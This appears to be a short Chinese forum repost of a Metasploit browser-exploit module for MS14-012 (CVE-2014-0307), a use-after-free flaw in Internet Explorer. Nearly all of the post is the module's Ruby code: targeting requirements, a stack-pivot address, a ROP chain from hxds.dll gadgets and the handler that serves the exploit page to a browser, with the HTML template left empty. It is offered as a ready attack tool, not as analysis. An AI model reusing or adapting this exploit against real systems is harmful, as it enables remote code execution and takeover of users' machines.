2014最新IE漏洞 ms14_012

依旧是MSF模块 [php] ## # This module requires Metasploit: http//metasploit.com/download # Current source: [url]https://github.com/rapid7/metasploit-framework[/url] ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => "MS14-012 Internet Explorer TextRange Use-After-Free", 'Description' => %q{ This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw was most likely introduced back in 2013, therefore only certain builds of MSHTML are affected. In our testing with IE9, these vulnerable builds appear to be between 9.0.8112.16496 and 9.0.8112.16533, which implies August 2013 until early March 2014 (before the patch). }, 'License' => MSF_LICENSE, 'Author' => [ 'Jason Kratzer', # Original discovery 'sinn3r' # Port ], 'References' => [ [ 'CVE', '2014-0307' ], [ 'MSB', 'MS14-012' ] ], 'Platform' => 'win', 'BrowserRequirements' => { :source => /script/i, :os_name => OperatingSystems::WINDOWS, :ua_name => HttpClients::IE, :office => "2010" #:ua_ver => '9.0' # Some fingerprinting issue w/ os_detect, disabled for now }, 'Targets' => [ [ 'Automatic', { # mov eax,dword ptr [edx+0C4h]; call eax 'Pivot' => 0x0c0d1020 # ECX } ] ], 'Payload' => { 'BadChars' => "\x00", 'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500 }, 'DefaultOptions' => { 'Retries' => false, # You're too kind, tab recovery, I only need 1 shell. 'InitialAutoRunScript' => 'migrate -f' }, 'DisclosureDate' => "Mar 11 2014", # Vuln was found in 2013. Mar 11 = Patch tuesday 'DefaultTarget' => 0)) end # hxds.dll def get_payload setup = [ 0x51C3B376, # rop nop 0x51C2046E, # pop edi; ret 0x51BE4A41, # xchg eax, esp; ret ].pack("V*") # rop nops 45.times { setup << [0x51C3B376].pack('V*') } setup << [ 0x51C2046E, # pop edi ; ret 0x51BD28D4 # mov eax, [ecx], call [eax+8] ].pack('V*') p = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>setup}) Rex::Text.to_unescape(p) end def exploit_html template = %Q| | return template, binding() end def on_request_exploit(cli, request, target_info) send_exploit_html(cli, exploit_html) end end[/php]

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